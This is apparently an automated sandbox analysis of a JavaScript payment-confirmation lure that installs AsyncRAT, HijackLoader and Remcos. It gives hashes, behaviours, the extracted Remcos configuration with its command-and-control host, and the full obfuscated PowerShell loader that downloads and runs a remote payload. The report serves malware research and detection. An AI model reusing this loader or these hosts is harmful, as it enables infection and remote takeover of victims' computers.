asyncrat | 6fd5266dc87f8f0933dfa2374a1b80721d11f61ac88154cfb0ebe4d83a232b9e

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
16/03/2026, 16:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CONFIRMACIÓN DE PAGO EFECTUADO Y REGISTRADO EN EL SISTEMA CONTABLE.js
Size 1.1MB
Sample260316-ve7fssdv4x
SHA256 6fd5266dc87f8f0933dfa2374a1b80721d11f61ac88154cfb0ebe4d83a232b9e
MD5 1e9e09915b4de79fe5fe862329160680
SHA1 40bc67b4aba0f0dd2bc153ade6076651451edecf
SHA512 4c34bca8a2beb4792087c3dd133486c93ca7dbdfebcf9486a7f9645ce10e385e275c8ee19d15788b6cabd606e653da1af2b22d1626bf2d2c0c4906f6d664233c
SSDEEP 192:wrJNUMBNAX6JNNZE+z7Ym++/BCrxkl5flnrT+p65ddCV19/alakC0J9CzjKeJWgn:wibrLnx
TLSH
T1B545EE394E4F08E15EF2EE0CB5EF29858C562DB8F9476978AE4C50AE8240319077B77D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

banos discovery execution asyncrat hijackloader remcos loader persistence rat

Malware Config

Extracted

Family

hijackloader

Attributes

directory
%APPDATA%\CoordinatorProcess
inject_dll
%windir%\SysWOW64\input.dll

xor.hex

Extracted

Family

remcos

Botnet

BANOS

olayaligia1458.loseyourip.com:1458

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4CO5NK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

remcos

Version

6.1.2 Pro

Botnet

BANOS

olayaligia1458.loseyourip.com:1458

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4CO5NK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b3c8-92.dat	family_hijackloader

HijackLoader, IDAT loader, Ghostulse,
HijackLoader is a multi-stage loader, first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1856	2256	powershell.exe	79

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1856	powershell.exe
1104	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4992	FJYEBCZB.exe
5060	FJYEBCZB.exe
5012	HyCoordinator.exe
4636	HyCoordinator.exe

Loads dropped DLL 26 IoCs

pid	Process
5060	FJYEBCZB.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
5012	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4344	ClustGenerator.exe
1224	Crisp.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1856 set thread context of 2572	1856	powershell.exe	84
PID 4636 set thread context of 4344	4636	HyCoordinator.exe	92
PID 4636 set thread context of 1224	4636	HyCoordinator.exe	93

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2292	4636	WerFault.exe	91
1972	1224	WerFault.exe	93

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClustGenerator.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FJYEBCZB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FJYEBCZB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HyCoordinator.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HyCoordinator.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
1104	powershell.exe
1104	powershell.exe
2572	csc.exe
5012	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
4636	HyCoordinator.exe
1224	Crisp.exe
1224	Crisp.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4636	HyCoordinator.exe
4636	HyCoordinator.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	2572	csc.exe
Token: SeDebugPrivilege	1104	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4344	ClustGenerator.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 2572	1856	powershell.exe	84
PID 1856 wrote to memory of 2572	1856	powershell.exe	84
PID 1856 wrote to memory of 2572	1856	powershell.exe	84
PID 1856 wrote to memory of 2572	1856	powershell.exe	84
PID 2572 wrote to memory of 4228	2572	csc.exe	85
PID 4228 wrote to memory of 1104	4228	cmd.exe	87
PID 1104 wrote to memory of 4992	1104	powershell.exe	88
PID 4992 wrote to memory of 5060	4992	FJYEBCZB.exe	89
PID 5060 wrote to memory of 5012	5060	FJYEBCZB.exe	90
PID 5012 wrote to memory of 4636	5012	HyCoordinator.exe	91
PID 4636 wrote to memory of 4344	4636	HyCoordinator.exe	92
PID 4636 wrote to memory of 4344	4636	HyCoordinator.exe	92
PID 4636 wrote to memory of 4344	4636	HyCoordinator.exe	92
PID 4636 wrote to memory of 1224	4636	HyCoordinator.exe	93
PID 4636 wrote to memory of 1224	4636	HyCoordinator.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\CONFIRMACIÓN DE PAGO EFECTUADO Y REGISTRADO EN EL SISTEMA CONTABLE.js"
1⤵
PID:1500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "$ossicular='2461726163617269203D202768272B2774272B2774272B2770272B2773272B273A272B272F272B272F272B2766272B2769272B276C272B2765272B2773272B272E272B2777272B2769272B276C272B2764272B2773272B276B272B2772272B2765272B2765272B276E272B272E272B2773272B2768272B276F272B2770272B272F272B274D272B2753272B2749272B275F272B2730272B2736272B2733272B2734272B2734272B2735272B272E272B2770272B276E272B2767273B2024636F6E636F6D6974616E656F7573203D204E65772D4F626A6563742028224E65742E576562222B22436C69656E7422293B2024616C6C6D6F757468203D2024636F6E636F6D6974616E656F75732E2822446F776E6C6F6164222B224461746122292E496E766F6B65282461726163617269293B202467616C62756C7573203D205B546578742E456E636F64696E675D3A3A555446382E476574537472696E672824616C6C6D6F757468293B2024766167696E69676C757465616C203D2027494E2D273B202464696D657068657074616E6F6C203D20272D696E31273B20246B6C696E6F70696E61636F6964203D202467616C62756C75732E496E6465784F662824766167696E69676C757465616C293B20246C756D6265726A61636B657473203D202467616C62756C75732E4C617374496E6465784F66282464696D657068657074616E6F6C293B2069662028246B6C696E6F70696E61636F6964202D6571202D31202D6F7220246C756D6265726A61636B657473202D6571202D3129207B2072657475726E207D3B202465737061676E6F6C65203D20246B6C696E6F70696E61636F6964202B2024766167696E69676C757465616C2E4C656E6774683B202474696D65636F6465203D202467616C62756C75732E537562737472696E67282465737061676E6F6C652C20246C756D6265726A61636B657473202D202465737061676E6F6C65293B20244C696C6C69616E6E61203D202474696D65636F64652E5265706C616365282723272C20274127292E546F43686172417272617928293B205B41727261795D3A3A282252657665222B2272736522292E496E766F6B6528244C696C6C69616E6E61293B202473616E64616C776F6F6473203D20244C696C6C69616E6E61202D6A6F696E2027273B205B627974655B5D5D24557262616E61203D205B436F6E766572745D3A3A282246726F6D4261736536222B2234537472696E6722292E496E766F6B65282473616E64616C776F6F6473293B20246361626F63686F6E73203D205B417070446F6D61696E5D3A3A43757272656E74446F6D61696E2E28224C6F222B22616422292E496E766F6B652824557262616E61293B2024667265656D61696C203D2040282768747470733A2F2F66696C65732E77696C64736B7265656E2E73686F702F696D675F3036333931382E706E67272C2730272C27433A5C55736572735C5075626C69635C272C277A6B45497A364E4E5233272C27637363272C27272C27637363272C2730272C2755524C272C27433A5C55736572735C5075626C69635C272C277A6B45497A364E4E5233272C276A73272C2735272C2731272C27547A4439574B557A4950272C2730272C27272C27272C2727293B20747279207B2020202020246C656D6D617469736174696F6E203D20246361626F63686F6E732E47657454797065282746696265722E50726F272B276772616D27293B202020202024636170736F6D616E6961203D20246C656D6D617469736174696F6E2E4765744D6574686F6428274D61272B27696E27293B202020202024636170736F6D616E69612E496E766F6B6528246E756C6C2C205B6F626A6563745B5D5D24667265656D61696C293B207D206361746368207B207D';$stainable=[byte[]]($ossicular -split '(..)' | ?{$_} | %{[Convert]::ToByte($_,16)});iex([System.Text.Encoding]::UTF8.GetString($stainable))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\FJYEBCZB.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\FJYEBCZB.exe"'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1104
    - - C:\Users\Admin\AppData\Local\Temp\FJYEBCZB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\FJYEBCZB.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4992
      - C:\Windows\Temp\{8D54254D-4CAF-4414-AD90-99B035FCCB2F}\.cr\FJYEBCZB.exe
        
        "C:\Windows\Temp\{8D54254D-4CAF-4414-AD90-99B035FCCB2F}\.cr\FJYEBCZB.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\FJYEBCZB.exe" -burn.filehandle.attached=728 -burn.filehandle.self=732
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5060
        
        C:\Windows\Temp\{60CCE7C6-2010-4AF9-9AB5-A98DF6492C73}\.ba\HyCoordinator.exe
        
        "C:\Windows\Temp\{60CCE7C6-2010-4AF9-9AB5-A98DF6492C73}\.ba\HyCoordinator.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5012
        
        C:\ProgramData\CoordinatorProcess\HyCoordinator.exe
        
        C:\ProgramData\CoordinatorProcess\HyCoordinator.exe
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4636
        
        C:\Users\Admin\ClustGenerator.exe
        
        C:\Users\Admin\ClustGenerator.exe
        9⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4344
        
        C:\Users\Admin\AppData\Roaming\CoordinatorProcess\Crisp.exe
        
        C:\Users\Admin\AppData\Roaming\CoordinatorProcess\Crisp.exe
        9⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1224
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1224 -s 512
        10⤵
        Program crash
        
        PID:1972
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4636 -s 660
        9⤵
        Program crash
        
        PID:2292

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:2568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4636 -ip 4636
1⤵
PID:3820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1224 -ip 1224
1⤵
PID:656

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LIBEAY32.dll

Path C:\ProgramData\CoordinatorProcess\LIBEAY32.dll
Size 1.2MB
SHA256 d7f8f0c2147b588809460dbd1b680799baaa4b0394caa2a39f652cf747de3a29
MD5 d22d1af729ba5283a7cffd1b1f25bc32
SHA1 a96dc17843356b67bca32da734897c50b7e17471
SHA512 dc129f971ab50b6646b9d5b266201d11f1e6cbe0640580b8b834eecafc998cb7dac3ab65526d497872cd711014bc02c0f4e28b23caaed739d6885cb2a5627a86
SSDEEP 24576:MPZ+KpPewHlDH0YLPfB+ltqYdgMuYbqxqGYrc8ZDbtPnJmMml+Pr:s2qlD4tgnYbqxE3DbtPnJwl+Pr
TLSH
T187458C03BB8199B2F5CE427C21B6677E893A96108324CAD39EA579D59C335D1273F3C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSVCP120.dll

Path C:\ProgramData\CoordinatorProcess\MSVCP120.dll
Size 444KB
SHA256 87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608
MD5 fd5cabbe52272bd76007b68186ebaf00
SHA1 efd1e306c1092c17f6944cc6bf9a1bfad4d14613
SHA512 1563c8257d85274267089cd4aeac0884a2a300ff17f84bdb64d567300543aa9cd57101d8408d0077b01a600ddf2e804f7890902c2590af103d2c53ff03d9e4a5
SSDEEP 12288:uZ/8wcqw2oe+Z3VrfwfNOOoWhUgiW6QR7t5ss3Ooc8DHkC2e77/:W/8wVwHZFTwFOOos3Ooc8DHkC2e77/
TLSH
T11AA45B237B864CF2D19E53B231C9531557FAFC6441B1F343ABEEE1692FA6282E123611
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSVCR120.dll

Path C:\ProgramData\CoordinatorProcess\MSVCR120.dll
Size 948KB
SHA256 86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f
MD5 034ccadc1c073e4216e9466b720f9849
SHA1 f19e9d8317161edc7d3e963cc0fc46bd5e4a55a1
SHA512 5f11ef92d936669ee834a5cef5c7d0e7703bf05d03dc4f09b9dcfe048d7d5adfaab6a9c7f42e8080a5e9aad44a35f39f3940d5cca20623d9cafe373c635570f7
SSDEEP 12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
TLSH
T10F25BE12B982C0B2C57202B1152DE772197FBA71443598B7BBD98F0E1DB46C0FB67A63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Qt5Network.dll

Path C:\ProgramData\CoordinatorProcess\Qt5Network.dll
Size 836KB
SHA256 aeb1ed46c85c66ede65e64e3251097d52a91730e21b192ea1097ee0d13fcdfd2
MD5 fca8a6d6437b78e03693a5417f15b927
SHA1 bc23335e04eb731a5f0759a42479e0f3f70e263c
SHA512 8bdf7ad8b4730731da1a189181497f8e607c2c2928dcb3158df8e243e125e188eedf88c1331852473f15a9c95979b207e249e73875696d0d7813102f90ca2b49
SSDEEP 12288:TIyqCWP9e0F+2Qfi29R351VytOMlXYzTtf6Rmnt24wDyXH26DhyEQghEvE98wmOe:TIyqCweO+bzTdS2TN9V4Q7Iz/t
TLSH
T11D054A52B6CF00F6E59C41FA881DEF67E53DB10447025ADFE35CAE1663252E12E3E286
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 102B
SHA256 22781cc9498929c10bc33d0af6186abc22c245934d62579506b535ec981d9e17
MD5 3c39007c0eceeead302c46a03f68dd79
SHA1 4b636d0e49e3fe6a579b1eb2ac93c5d8d2cb3bb5
SHA512 02ebcc22bf0d7cb281276e998fcab2a343d7c7d4ac2f3eba73540d8880f8934f9ee90323ba8496fc85ec7c0d1f8b6e7ce4f0b058bd97e2c8c33c7d744d32f60e
TLSH
T1F3B012DD37D122097C64E12A9477401578B079503039880C2AD0074C1474A01308438B
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d
MD5 7f803908e5595ac7805479ffa4f4fc41
SHA1 42e1ba3a6f437dfcdaa03d714d56e807910fe69b
SHA512 a4aff0953c7827d879f94d9503963c04146c94fef8d4183ef1d1479a787339272db362349bdffc4f0235667a9c7daf8a962c8c641c12fd90277e0c4af8dbe04d
TLSH
T13761DF313375B1D889163F07192C19C463BF8756FA94AF4CB658624ED92704B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c2f3cc0f90a4df89d42271c578ed6c71699c5a0bc1368ff4ab4d2d3668793ba0
MD5 f3bf7aa73f7e7ea25e7604c42b5615aa
SHA1 268850d53e8f7a17f20dd0d2a0ff3a29280e2f27
SHA512 8b2d55e4b57d15e2e5c6fd0facd0d5ca4dfd610f417d2e3bfb6f4a679fa5d4968ee24ead918b30f35bef5ba3e3677ce20c540479f6e2d482288f727f449d5e62
TLSH
T156217833B79CC135C89A117A148DAD01B1B5C3CB009FCECB7A84C518D57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

31D2468.tmp

Path C:\Users\Admin\AppData\Local\Temp\31D2468.tmp
Size 40B
SHA256 ce80f74cfab0a6629ba29d7a6566e5a974507a5ba01a110b356cccf030973ab9
MD5 714cfbc4f69f4c24d73f7b8842256f5d
SHA1 e0830593c938e470a4f71bad838e811d9565ac5a
SHA512 e935ae21aeffc59680f4716d1de2ea26e893f3a5cfa7933b25e79bfe15d2cbf2b23b149e5fc83749d4220c023413f63cee85329eecbd9e06a39ea5702885f6a5
MD5 SHA1 SHA512

Submit Download

FC111F.tmp

Path C:\Users\Admin\AppData\Local\Temp\FC111F.tmp
Size 1.6MB
SHA256 38e475d6ad224479d26833a1c958f097ecaaf8a5b76f771857e4e61c124bf402
MD5 f389373fb863caebb3b1c571d8b1f416
SHA1 e719996760b71854434b60561b9e485189d40d3d
SHA512 88913c4a1187c7d36a6da2b0f9d1d7754f0420125646d50a269f456586043591da57d4a82cf5b666eec168240634bf5e9996914fe69c08bc98c08ce7ff84eb7a
SSDEEP 49152:nqTJBzngP73EzNvNz+4gj1h/bi5cTrWRRN:nWJtiLEzNvNq4G1hSRN
TLSH
T11885331AC7FFD34C2F80F5D9E296D6F9E7143270FD1D84EE7A04E586066AA3424A4287
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

FC111F.tmp

Path C:\Users\Admin\AppData\Local\Temp\FC111F.tmp
Size 1.6MB
SHA256 caff82a9cbd61307227a80dd83212fa46b43821f618b81ebe38a2d18260ba29b
MD5 1f5331f56c66fdcf624c1e83fff2fad0
SHA1 229e410591af6be8950c9854ae89865f1db94153
SHA512 1e5955a19a1b3dc0c1eb20f31e797dcf58dcd0e549f8b9b424f3d5a5f4216ef30b698cba31df49f44bdce90a87a9a8d4e1667ca1eba3facc23047ae68ea832c1
SSDEEP 49152:XqTJBznuP73EzNvNz+4gj1h/bi5cTrWRRN:XWJt0LEzNvNq4G1hSRN
TLSH
T13585331AC7FFD34C2F80F5DAE296D6F9E7143270FD1D44EE7A04E586066AA3424A4287
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

FJYEBCZB.exe

Path C:\Users\Admin\AppData\Local\Temp\FJYEBCZB.exe
Size 12.1MB
SHA256 1bc84e6b19165b290d96a42058f8c0b1d18ed707c95f169e18127764ba9a2436
MD5 781cfb359953b4e4db1d8ac36191efe6
SHA1 562159bb4e45e103276746746f267b33cbbb68ef
SHA512 c9c0db687cc3799cf34394cd66a8de8679baa3e17f07e7fc882453728560918be2a89e02fe8201afa7e222390cc367a59b3fd2eb6e1804a666dfa2f8b5979a9d
SSDEEP 196608:PLZSrV3oVN7050Gr3Uad081NVeplm5lwQR3puTlhdUVGE+Vi2H1jXs628xocWz6C:V8Sc5d3xm8XWmEQslPw+ViQBLxocTh7w
TLSH
T1C4D63331E1614133F6F516B7BE2869313DBCE22C5792C8ADD6C46E1ABD6588227F7203
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_o5yt5on2.1yj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o5yt5on2.1yj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Crisp.exe

Path C:\Users\Admin\AppData\Roaming\CoordinatorProcess\Crisp.exe
Size 334KB
SHA256 c2e62475768c9546efe1da92a55f3bb2a55350eed83241139917aabd1ad25f8a
MD5 5f9f88c9a16b62dc38504549e93d3667
SHA1 587d56031b39e34102bc67b5f7d0338ee41b5328
SHA512 edbb7a8cd75e056d2c47b8af6fbee63726cb3d5f000d5f8bc000f4b16366619c8532e628585cc943f474d2509c63802179d0d22a1d32dd690fb25e00d262af83
SSDEEP 6144:7c2XFRJ3DNuzAOS9FuxIRtiiuhKPTqX4Y42:dFvYzU9kutRuhKPTqo32
TLSH
T125749E11B9D1C4B2C4B2053009E8EBB5697DFD714F61863B33D8772E1F742C1A662AA7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClustGenerator.exe

Path C:\Users\Admin\ClustGenerator.exe
Size 340KB
SHA256 226b406d80ee09a451483c54cbc38676bd05106e26269fcf4a59e9b6fed2489a
MD5 61dc621e034d77272a3440bed59fdf79
SHA1 cd1e19c25f0984c266d852cb5460acd96e0d0138
SHA512 d4478bc848d23bb943d5812d33fc31cde61ebd5228b56098617357723d58e36f0591be18d2cafe059cabd42d9dedcfa2c67cd76424306a4eb7092d398b4e1b67
SSDEEP 6144:6yv3sUw8c0ikaLMofIOVrn7zT9O5cTRbcVZMMo+qnMMgMMLyzNw79BBNu7E:6yvRcJlMofZ7tX5cVZMM2MMgMMLyJI9Z
TLSH
T12A748C107AB1C0BBE5A6163C90BE97F34DF97F128A2414D766907D6CB83C2C1693A25F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HyCoordinator.exe

Path C:\Windows\Temp\{60CCE7C6-2010-4AF9-9AB5-A98DF6492C73}\.ba\HyCoordinator.exe
Size 720KB
SHA256 96694c516aa01e6d9b5002a9fcea16142de8a3fb90fd0b7a68cf91f8baa5bf92
MD5 fe8130d6769c512e6529a6880d3c0e5a
SHA1 0d6f46b8b63a9a891d132ccb79853c090b7795f7
SHA512 01d29b8409b010dc668dae1983fa5737a29f7ea924ff9530323617ce3814291730ae8fe8374ab464bc499c69843f606ea6d1ecaa600b25e4ce99666c3c247306
SSDEEP 12288:XBVGT/7wI57eVHpmiPCwwqYGqUorrbVvohk8F6xTpsKrzKeGDl+bXlKZzTQbIzuV:XBVGTz/57eVHpmiPCwwqYGqUorrxghk3
TLSH
T1A0F48E333AE2C03BD27252728A197374A0FEE4714931521363D8972D6E745F3AE29B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSVCR100.dll

Path C:\Windows\Temp\{60CCE7C6-2010-4AF9-9AB5-A98DF6492C73}\.ba\MSVCR100.dll
Size 752KB
SHA256 1221a09484964a6f38af5e34ee292b9afefccb3dc6e55435fd3aaf7c235d9067
MD5 67ec459e42d3081dd8fd34356f7cafc1
SHA1 1738050616169d5b17b5adac3ff0370b8c642734
SHA512 9ed1c106df217e0b4e4fbd1f4275486ceba1d8a225d6c7e47b854b0b5e6158135b81be926f51db0ad5c624f9bd1d09282332cf064680dc9f7d287073b9686d33
SSDEEP 12288:fQmCy3NeRjkpQmj3oaMtQqjoygfXq3kon9IlbgaOxQdVJJ6j5EBKX8hR5:ImCy3VQs9MtLjTgfa3kon9FaOdEz5
TLSH
T16DF49D11B692C073C57220300629D7B24D7BB9711434986BBBD99F3E1FB47C1EA277AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microphotograph.dll

Path C:\Windows\Temp\{60CCE7C6-2010-4AF9-9AB5-A98DF6492C73}\.ba\Microphotograph.dll
Size 1.4MB
SHA256 12733b6a1ef1b3bd36e3778118f843b82f2fde3e0c64ea894fcd8fb792896c55
MD5 dcbba4172a97f2d2dfbc3214c30337c7
SHA1 550aa66f10af6496c1090c2f9e0de43e785decff
SHA512 94ade439e2988a57e8ebcbd68af3233810f009b7e7ff344941ec9dc3f6029cf2192149a3c6b31968c6d44cbf01640352aa222dcb94f53fbf2a655f478c2cf215
SSDEEP 24576:dZNPAwddpeT1ixgszc6ntU+KpPVTbactijtShhpNSgenKp/ekf9r0j:RAGpeT1mggbt8NicIGEKp/ekf9r0j
TLSH
T1F265AE03EBC185F2E48E837951B3977E6E3696114329C9C3C7A12E509E612E1B77E3C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Qt5Core.dll

Path C:\Windows\Temp\{60CCE7C6-2010-4AF9-9AB5-A98DF6492C73}\.ba\Qt5Core.dll
Size 4.5MB
SHA256 13eda412df2e137f6fb8c7d9331ff6a85c4cdea27851eab3fa91a1162dc86f0d
MD5 1fb2ab7217c5f0161fb095b5e2cc0bc4
SHA1 5ba62a4ac2de5348e129e8ae79f0074b5908d5b3
SHA512 eb2ec74bbc442e5f5d95b228e3b6b3c0998ecfaf38d01d23aecf0d1233fd606fb82e3e502059190a8d84ed3376fb820bde3847affe011713c225d3011a81b887
SSDEEP 98304:2TjtbrskkvWZfCeB02j6Jsv6tWKFdu9CjD:21bW86Jsv6tWKFdu9Cj
TLSH
T19E267D93F79781B2FA92827608ABD72A4536AD1547018ADBF34C3A075C716E13E3F14B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Qt5Gui.dll

